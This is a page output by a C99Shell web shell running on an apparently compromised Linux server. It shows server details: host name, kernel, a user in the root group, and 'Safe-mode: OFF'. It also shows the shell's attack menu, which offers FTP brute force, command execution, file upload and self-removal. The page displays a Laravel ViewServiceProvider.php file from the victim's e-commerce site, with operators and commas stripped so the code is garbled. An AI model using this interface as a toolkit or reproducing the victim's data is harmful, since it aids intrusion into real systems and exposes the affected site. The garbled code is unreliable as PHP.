!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html/app/Providers/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ViewServiceProvider.php (2.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Providers;

use 
App\Models\Setting;
use 
App\Models\User;
use 
Illuminate\Support\Facades\Auth;
use 
Illuminate\Support\Facades\Session;
use 
Illuminate\Support\ServiceProvider;
use 
Illuminate\View\Compilers\BladeCompiler;
use 
Illuminate\View\Engines\CompilerEngine;
use 
Illuminate\View\Engines\EngineResolver;
use 
Illuminate\View\Engines\FileEngine;
use 
Illuminate\View\Engines\PhpEngine;
use 
Illuminate\Support\Facades\View;
use 
App\Models\Category;
use 
App\Models\Page;
use 
DB;

class 
ViewServiceProvider extends ServiceProvider
{
    
/**
     * Register the service provider.
     *
     * @return void
     */
    
public function register()
    {
        
//$this->registerFactory();
        //$this->registerViewFinder();
        //$this->registerBladeCompiler();
        //$this->registerEngineResolver();
       // $this->boot();
    
}


    public function 
boot()
     {

         
View::composer('frontend.layouts.app', function ($view) {
           
$categories Category::select('category_id','image','parent_id','sort_order','status')
               ->
with('categoryDescription:name,category_id')
               ->
where('status','1')->orderBy('sort_order','ASC')->get();

            
$topCategory $this->buildTree($categories,0,99);

            
$cartCount=0;
            
$wishlistCount=0;
            
$wishlistData = [];
            if(
Auth::guard('customer')->check()) {
              
$wishlistCount DB::table('wishlist')->where('customer_id',Auth::guard('customer')->user()->id)->count();
            }

            
//cart count
            
$cartCount \App\Models\Cart::where('session_id',session()->getId())->sum('quantity');

            
$cmsPagesArr =file_get_contents(base_path().'/storage/app/cmsPages.json');
            
$cmsPages json_decode($cmsPagesArr);

            
$languagesArr =file_get_contents(base_path().'/storage/app/languageArray.json');
            
$languages json_decode($languagesArr);

            
$view->with('commonData',['languages' => $languages,'categories' =>  $topCategory,'cartCount' => $cartCount,'wishlistCount' => $wishlistCount,'cmsPages' => $cmsPages]);
         });

    }

    function 
buildTree$elements$parentId 0,$limit 100) {
         
$branch = array();
         
$i1;
         foreach (
$elements as $element) {
             if (
$element['parent_id'] == $parentId) {
                if(
$i $limit) {
                  
$children =$this->buildTree($elements$element['category_id']);

                  if (
$children) {
                      
$element['children'] = $children;
                  }
                  
$branch[] = $element;
                }
                
$i++;
             }
         }

         return 
$branch;
     }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--